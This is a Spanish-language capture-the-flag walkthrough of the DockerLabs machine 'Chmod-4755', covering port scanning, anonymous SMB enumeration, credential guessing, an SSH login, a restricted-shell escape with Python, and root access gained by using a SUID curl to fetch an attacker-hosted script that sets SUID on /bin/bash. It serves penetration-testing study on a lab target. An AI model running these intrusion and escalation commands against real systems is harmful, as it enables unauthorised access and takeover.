Chmod-4755 • Medio

Maquina: https://dockerlabs.es/

Herramientas utilizadas:

| NMAP | Enum4linux | SSH | SMB | PYTHON |

#1 | Escaneo de puertos | NMAP

```
nmap -p- --open -sS --min-rate 5000 -vvv -Pn 172.18.0.2
```

▼ Explicación

`>> -p-` → Escanea **todos los puertos (0-65535)**.

`>> --open` → Muestra solo los **puertos abiertos**.

`>> -sS` → Usa **escaneo SYN**, más sigiloso que un escaneo completo.

`>> --min-rate 5000` → Envía **mínimo 5000 paquetes por segundo**, haciéndolo más rápido.

`>> -vvv` → Muestra **más detalles** en tiempo real.

`>>-n` → No resuelve **DNS**, lo hace más rápido.

`>>-Pn` → **No hace ping**, asume que el host está activo.

Resultado:

```
PORT    STATE  SERVICE      REASON
22/tcp  open   ssh          syn-ack ttl 64
139/tcp  open   netbios-ssn    syn-ack ttl 64
445/tcp  open   microsoft-ds   syn-ack ttl 64
MAC Address: 02:42:AC: 11:00:02 (Unknown)
```

Escaneo y versiones

```
nmap -sCV -p22,139,445 172.18.0.2
```

Resultado:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 08:28 EDT
Nmap scan report for 172.18.0.2
Host is up (0.000032s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; pro
| ssh-hostkey:
|   256 a8:62:07:af:8e:77:13:6d:25:0a:2f:43:63:de:38:38 (ECDSA)
|_  256 93:93:a8:35:0e:fa:3e:05:04:27:70:2e:fc:22:e8:99 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-09-02T12:29:10
|_  start_date: N/A
| smb2-security-mode:
```

```
|   3:1:1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nm
Nmap done: 1 IP address (1 host up) scanned in 29.52 seconds
```

▼ Qué encontramos?

Servicios `smb` y `ssh`

- `SSH (22/tcp)` → Usa **OpenSSH 9.6p1** en Ubuntu. Podría permitir acceso remoto si se encuentran credenciales válidas o una vulnerabilidad.
- `SMB (139/tcp, 445/tcp)` → Servicio Samba **4.6.2**, usado para compartir archivos e impresoras. Puede ser vulnerable a ataques como **Pass-the-Hash**, **LFI/RFI**, o mal configuraciones que expongan información sensible.

#2 | Invetigación para explotación | `smb`

⏩ Enumeración de recursos compartidos:

```
--$ smbclient -L 172.18.0.2 -N
```

▼ Explicación

`>> smbclient` → Herramienta para interactuar con servidores **SMB**.

`>> -L` → Listar los recursos compartidos en el servidor **SMB** especificado.

`>> 172.18.0.2` → Dirección IP del servidor SMB al que te estás conectando.

`>> -N` → Esta opción le indica a **smbclient** que **no** pida **credenciales de usuario** (autenticación anónima). Esto puede ser útil si el servidor permite acceso sin nombre de usuario ni contraseña.

Entonces, el comando completo `smbclient -L 172.18.0.2` lo que hace es intentar **listar** todos los recursos compartidos en el servidor **SMB** con la IP **172.18.0.2**.

👉 **Resultado esperado:** Una lista de los recursos (carpetas, impresoras) que están disponibles para compartir.

Resultado:

```
Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
shre_secret_only Disk
IPC$            IPC       IPC Service (1e1bbda8b901 server (Samba, Ubuntu))
```

⏩ Enumeración de usuarios:

```
--$ enum4linux 172.18.0.2
```

Resultado:

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\smbuser (Local User)
S-1-22-1-1001 Unix User\rabol (Local User)
```

▼ 👉 Datos relevantes para explotación:

- **Recursos compartidos**:
  - `print$` **(Printer Drivers)**
  - `shre_secret_only` **—>relevante**
  - `IPC$`
- **Usuarios identificados**:

- `smbuser` (SID: S-1-22-1-1000)
- `rabol` (SID: S-1-22-1-1001)

que seguramente sean del ssh

SSH

```
--$ ssh test@172.18.0.2
```

▼ Explicación

Lo que hace es intentar establecer una **conexión SSH** con el servidor en la dirección **IP 172.18.0.2**, utilizando el usuario `test` para la autenticación.

Desglosado:

- `ssh`: Es el protocolo utilizado para acceder de forma remota a sistemas de manera segura.
- `test`: Es el nombre de usuario con el que estás intentando acceder al sistema remoto.
- `172.18.0.2`: Es la dirección IP del servidor al que intentas conectarte.

Este comando abriría una sesión de terminal en el servidor remoto **si el usuario** `test` **tiene acceso** y la autenticación es exitosa

Resultado:

```
**************************************************
*  WARNING: Unauthorized Access is Prohibited!  *
*  This system is for authorized users only.    *
*  All activities are monitored and recorded.   *
*              by fuckit                        *
**************************************************
test@172.18.0.2's password:
```

no tenemos la contraseña, pero nos reservaremos la palabra `fuckit`.

#3 | Intrusión | smb

```
--$ smbclient //172.18.0.2/share_secret_only -U smbuser%fuckit
```

▼ Explicación

`>> smbclient`: Herramienta para acceder a recursos compartidos SMB.

`>> //172.18.0.2/share_secret_only`: Dirección IP y recurso compartido al que se quiere acceder.

`>> -U smbuser%fuckit`: Usuario `smbuser` con contraseña `fuckit`.

Acción:

Intenta conectar al recurso `share_secret_only` con las credenciales proporcionadas

❗Ingresamos❗

```
smb: \> ls
.                   D        0  Mon Sep  2 08:05:05 2024
..                  D        0  Mon Sep  2 08:05:05 2024
note.txt            N       13  Mon Sep  2 08:05:05 2024

Descargamos note.txt
smb: \> get note.txt
```

y lo ejecutamos en kali

```
--$ cat note.txt
read better
```

Nos dice que leamos mejor, por lo que si leemos el recurso compartido el nombre que tiene `share_secret_only`, probaremos a utilizarlo como contraseña para el usuario `rabol`.

#4 | Intrusión | SSH

Utilizamos el segundo usuario (`rabol`) que enumero enum4linux y como contraseña `share_secret_only`

Credenciales → rabol : share_secret_only

```
ssh rabol@172.18.0.2
password:
```

❗Ingresamos como usuario **rabol**❗

```
rabol@1e1bbda8b901:~$ ls
bin user.txt
rabol@1e1bbda8b901:~$ ls /bin
```

/bin enlista los comandos que podemos ejecutar. en este caso 'ls' y 'Python3'.

#5 | restricted bash | Python

1. Esto ejecuta un comando en Python que invoca una nueva shell Bash **sin restricciones**

```
rabol@1e1bbda8b901:~$ python3 -c 'import os; os.system("/bin/bash")'
```

2. Después de escapar a Bash, probablemente verás que el **PATH** está restringido, lo que significa que no puedes ejecutar la mayoría de los binarios del sistema porque no están en los directorios permitidos. Para solucionarlo, puedes agregar las rutas necesarias al **PATH**

```
rabol@1e1bbda8b901:~$ export PATH=/bin
```

con el path "arreglado", seguimos en con el usuario rabol

```
rabol@1e1bbda8b901:~$ ls
bin user.txt
rabol@1e1bbda8b901:~$ cat user.txt
04aee8d6f21f746d0655233aa1d1541a
```

#6 | Escalar privilegios | BASH

```
rabol@1e1bbda8b901:~$ find / -perm -4000 2>/dev/null
```

Busca **todos los archivos** en el sistema que tienen el **bit setuid** activado (lo que significa que se ejecutarán con los privilegios del propietario del archivo). El comando **oculta los errores** que puedan ocurrir si no tienes permisos para acceder a ciertos directorios o archivos.

Resultado:

```
1600906   336 -rwsr-xr-x   1 root    root      342632 Aug  9 04:33 /usr/lib/op
1600867    36 -rwsr-xr--   1 root    messagebus  34960 Aug  9 04:33 /usr/li
1200588    40 -rwsr-xr-x   1 root    root       40664 Apr  9 09:01 /usr/bin/ne
1600800    56 -rwsr-xr-x   1 root    root       55680 Aug  9 04:33 /usr/bin/su
1600735    52 -rwsr-xr-x   1 root    root       51584 Aug  9 04:33 /usr/bin/mo
1600847    40 -rwsr-xr-x   1 root    root       39296 Aug  9 04:33 /usr/bin/ur
1200457    72 -rwsr-xr-x   1 root    root       72792 Apr  9 09:01 /usr/bin/chf
1200463    44 -rwsr-xr-x   1 root    root       44760 Apr  9 09:01 /usr/bin/ch
1200524    76 -rwsr-xr-x   1 root    root       76248 Apr  9 09:01 /usr/bin/gpa
1200599    64 -rwsr-xr-x   1 root    root       64152 Apr  9 09:01 /usr/bin/pas
1600801   272 -rwsr-xr-x   1 root    root      277936 Apr  8 16:50 /usr/bin/su
1600673   292 -rwsr-xr-x   1 root    root      297288 Aug  9 04:33 /usr/bin/c
```

tenemos permiso de `curl`

```
rabol@1e1bbda8b901:~$ ps -aux
```

▼ Explicación

`>> ps`: Comando que muestra los procesos actuales.

`>> -a`: Muestra los procesos de todos los usuarios, no solo del usuario actual.

`>> u`: Muestra la información del proceso en formato de usuario.

`>> x`: Muestra los procesos que no están asociados a una terminal.

Seguimos indagando…

```
USER      PID %CPU %MEM    VSZ   RSS TTY    STAT START   TIME COMMA
root        1 31.2  0.0   2800  1920 ?      Rs   14:26   5:27 /bin/sh -c service sm
root       15  0.1  0.1  87360 16916 ?      Ss   14:26   0:01 /usr/sbin/smbd -D
root       24  0.0  0.0  12020  3720 ?      Ss   14:26   0:00 sshd: /usr/sbin/ssh
root       29  0.0  0.0  84832  6348 ?      S    14:26   0:00 smbd: notifyd .
root       32  0.0  0.0  84840  6092 ?      S    14:26   0:00 smbd: cleanupd
root   663904  0.0  0.0  14528  7624 ?      Ss   14:39   0:00 sshd: rabol [priv]
rabol  670962  0.5  0.0  14788  6576 ?      S    14:39   0:01 sshd: rabol@pts/0
rabol  671026  0.0  0.0   5016  3840 pts/0  Ss   14:39   0:00 -rbash
rabol  700550  0.0  0.0  15088  9088 pts/0  S    14:39   0:00 python3 -c imp
rabol  700561  0.0  0.0   2800  1792 pts/0  S    14:39   0:00 sh -c -- /bin/bas
rabol  700563  0.0  0.0   5016  3968 pts/0  S    14:39   0:00 /bin/bash
rabol  911756  0.0  0.0   9580  4864 pts/0  R+   14:43   0:00 ps -aux
root   911759  0.0  0.0      0     0 ?      R    14:43   0:00 [bash]
```

en la primera linea encontramos un archivo llamado `bash.sh` (posible script)

Paso a paso de la escala de privilegios:

1. **Revisar permisos de** `bash.sh`

```
rabol@1e1bbda8b901:~$ ls -la /usr/local/bin/bash.sh

-rwxr-xr-x 1 root root 1 Sep  2 13:51 /usr/local/bin/bash.sh
```

Vemos que el archivo `bash.sh` tiene permisos normales (`-rwxr-xr-x`), lo que significa que no podemos modificarlo directamente si no tenemos privilegios de escritura.

2. **Comando `curl` con SUID:**

Dado que `curl` tiene permisos SUID, podemos usarlo para descargar o sobrescribir archivos con privilegios elevados. Así que decidimos reemplazar el archivo `bash.sh` con un archivo que creamos en nuestra máquina local (host)

3. **Creación del archivo `bash.sh` en nuestra máquina (host):**

Creamos un archivo llamado `bash.sh` en nuestra máquina (host) que contiene lo siguiente:

```
#!/bin/bash
chmod u+s /bin/bash
```

Este script va a añadir permisos SUID a `/bin/bash`, lo que nos permitirá ejecutar bash con privilegios de `root`.

4. **Iniciar un servidor HTTP en nuestra máquina (host)**

Ejecutamos un servidor HTTP simple con Python 3:

```
--$ python3 -m http.server 8
```

Esto hace que nuestra máquina (host) sirva el archivo `bash.sh` en un puerto accesible desde la máquina víctima.

5. **Usar `curl` para descargar `bash.sh` en la máquina víctima**

Nos dirigimos al directorio `/usr/local/bin/` en la máquina víctima y usamos `curl` (que tiene permisos SUID) para descargar el archivo `bash.sh` desde nuestra máquina (host):

```
rabol@1e1bbda8b901:~$ curl -O http://<192.168.17.137>/bash.sh
```

Esto reemplaza el archivo `bash.sh` original con el archivo que creamos en nuestra máquina (host).

6. **Verificamos el contenido del `bash.sh`**

```
rabol@1e1bbda8b901:~$ cat bash.sh
#!/bin/bash
```

```
chmod u+s /bin/bash
```

7. **Revisamos los permisos del** `/bin/bash`

```
rabol@1e1bbda8b901:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 10:41 /bin/bash
```

Ahora vemos que `/bin/bash` tiene el permiso SUID activado (`-rwsr-xr-x`), lo que significa que podemos ejecutar `bash` con privilegios de `root`.

Funciono ❗💥

```
rabol@1e1bbda8b901:~$ bash -p
```

Esto nos da un shell de `bash` con privilegios de `root`, lo que nos permite leer la flag de root:

```
rabol@1e1bbda8b901:~$ whoami
root
rabol@1e1bbda8b901:~$ cat /root/root.txt
1e4e4054308a62a2bbaacd02074f1ad2
```

CONSEGUIMOS EL ROOT! 💥

REDES🌐